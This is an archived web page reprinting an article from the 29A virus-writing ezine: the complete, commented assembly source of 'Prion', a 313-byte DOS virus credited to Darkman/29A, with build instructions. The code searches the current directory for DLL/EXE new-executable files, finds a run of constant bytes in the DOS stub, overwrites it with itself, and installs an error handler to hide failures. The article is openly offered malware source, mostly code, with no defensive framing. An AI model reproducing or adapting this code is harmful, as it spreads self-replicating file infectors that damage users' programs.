Copy Link
Add to Bookmark
Report

29A Issue 02 05 13

eZine's profile picture
Published in 
29A
 · 4 years ago

  

comment *
Prion ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Code by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ

Prion is a 313 bytes parasitic direct action new executable DLL/EXE virus.
Infects every file in current directory, when executed, by searching for an
area, the size of the virus, of constant bytes and overwrites the area with
the virus. Prion has an error handler.

I would like to thank Grog for the idea to this virus and Heuristic/29A for
helping me finish it.

To compile Prion with Turbo Assembler v 4.0 type:
TASM /M PRION.ASM
TLINK /x PRION.OBJ
EXE2BIN PRION.EXE PRION.COM
*

.model tiny
.code

code_begin:
call delta_offset
delta_offset:
pop bp ; Load BP from stack
sub bp,(offset delta_offset-code_begin)

cli ; Clear interrupt-enable flag
push cs ; Save CS at stack
pop ss ; Load SS from stack (CS)

mov sp,bp ; SP = delta offset
and sp,1111111111111110b
sti ; Set interrupt-enable flag

push ax ; Save AX at stack

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov ax,2524h ; Set interrupt vector 24h
lea dx,[bp+int24_virus] ; DX = offset of int24_virus
int 21h

mov ah,1ah ; Set disk transfer area ddress
lea dx,[bp+dta] ; DX = offset of dta
int 21h

mov ah,4eh ; Find first matching file
mov cl,00100111b ; CL = file attribute mask
lea dx,[bp+file_specifi]
find_next:
int 21h
jnc infect_file ; No error? Jump to infect_file

pop ax ; Load AX from stack
int 21h
infect_file:
mov ax,3d00h ; Open file (read)
lea dx,[bp+filename] ; DX = offset of filename
int 21h
xchg ax,bx ; BX = file handle
jc close_file ; Error? Jump to close_file

mov ax,1220h ; Get system file table number
int 2fh

push bx ; Save BX at stack
mov ax,1216h ; Get address of system FCB
mov bl,es:[di] ; BL = system file table entry
int 2fh
pop bx ; Load BX from stack

mov byte ptr es:[di+02h],02h

mov ax,es:[di+28h] ; AX = extension of the file
mov cl,es:[di+2ah] ; CL = " " " "

cmp ax,'LD' ; DLL executable?
jne test_exe ; Not equal? Jump to test_exe
cmp cl,'L' ; DLL executable?
je read_header ; Equal? Jump to read_header
test_exe:
cmp ax,'XE' ; EXE executable?
jne close_file ; Not equal? Jump to close_file
cmp cl,'E' ; EXE executable?
jne close_file ; Not equal? Jump to close_file
read_header:
mov ah,3fh ; Read from file
mov cx,40h ; Read sixty-four bytes
lea dx,[bp+file_header] ; DX = offset of file_header
int 21h

mov si,dx ; SI = offset of file_header
mov ax,[si] ; AX = EXE signature

xor ax,'MZ' ; Found EXE signature?
jz test_new_exe ; Zero? Jump to test_new_exe
xor ax,('ZM' xor 'MZ') ; Found EXE signature?
jnz close_file ; Not zero? Jump to close_file
test_new_exe:
cmp [si+18h],cl ; New executable?
jae test_stack ; Above or equal? Jump to test_stack
close_file:
mov ah,3eh ; Close file
int 21h

mov ah,4fh ; Find next matching file
jmp find_next
test_stack:
mov ax,10h ; Multiply initial SS relative to ...
mul word ptr [si+0eh] ; DX:AX = initial SS relative to s...
add ax,[si+10h] ; DX:AX = pointer to the stack
adc dx,00h ; " " " " " "
jnz test_stack_ ; Not zero? Jump to test_stack_

or ax,ax ; No stack?
jz calc_header ; Zero? Jump to calc_header
test_stack_:
cmp ax,[si+3ch] ; Stack placed in new executable ...?
jb close_file ; Below? Jump to close_file
cmp dx,[si+3eh] ; Stack placed in new executable ...?
jb close_file ; Below? Jump to close_file
calc_header:
mov ax,10h ; Multiply header size in paragrap...
mul word ptr [si+08h] ; DX:AX = header size

mov es:[di+15h],ax ; Move file pointer to end of header
mov es:[di+17h],dx ; " " " " " " "

sub ax,[si+3ch] ; DX:AX = pointer to end of header
sbb dx,[si+3eh] ; " " " " " " "

neg dx ; Negate DX
dec dx ; Decrease DX
jnz close_file ; Not zero? Jump to close_file

lea dx,[bp+file_buffer] ; DX = offset of file_buffer
cmp ax,dx ; DOS stub too large?
jbe close_file ; Below or equal? Jump to close_fi...

neg ax ; Negate AX
push ax ; Save AX at stack
xchg cx,ax ; CX = bytes to read from file

mov ah,3fh ; Read from file
int 21h

std ; Set direction flag
dec cx ; Decrease CX
mov si,dx ; SI = offset of file_buffer
add si,cx ; SI = offset of end of file_buffer
lodsb ; AL = first byte of file_buffer
xchg ax,dx ; DL = " " " "
search_const:
lodsb ; AL = byte of file_buffer
cmp al,dl ; Equal to first byte of file_buffer?
jne test_opcode ; Not equal? Jump to test_opcode

loop search_const

pop ax ; Load AX from stack
close_file_:
jmp close_file
test_opcode:
pop ax ; Load AX from stack

cmp [si],0010000111001101b
jne close_file ; INT 21h (opcode 0cdh,21h)? Jump ...

dec cx ; Decrease CX
dec cx ; " "
sub ax,cx ; AX = offset of virus within file

mov cx,(code_end-code_begin)
cmp ax,cx ; Enough constant bytes in file?
jb close_file ; Below? Jump to close_file

sub es:[di+15h],ax ; Move file pointer to offset of v...
sbb word ptr es:[di+17h],00h

mov ah,40h ; Write to file
mov dx,bp ; DX = delta offset
int 21h

mov ax,5701h ; Set file's date and time
mov cx,[bp+file_time] ; CX = file's time
mov dx,[bp+file_date] ; DX = file's date
int 21h

jmp close_file_

int24_virus proc near ; Interrupt 24h of Prion
mov al,03h ; Fail system call in progress

iret ; Interrupt return!
endp

file_specifi db '*.*',00h ; File specification
virus_name db '[Prion] ' ; Name of the virus
virus_author db '[Darkman/29A] ' ; Author of the virus
code_end:
dta:
db 15h dup(?) ; Used by DOS for find next-process
file_attr db ? ; File attribute
file_time dw ? ; File time
file_date dw ? ; File date
filesize dd ? ; Filesize
filename db 0dh dup(?) ; Filename
file_buffer:
file_header db 40h dup(?) ; File header

end code_begin

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT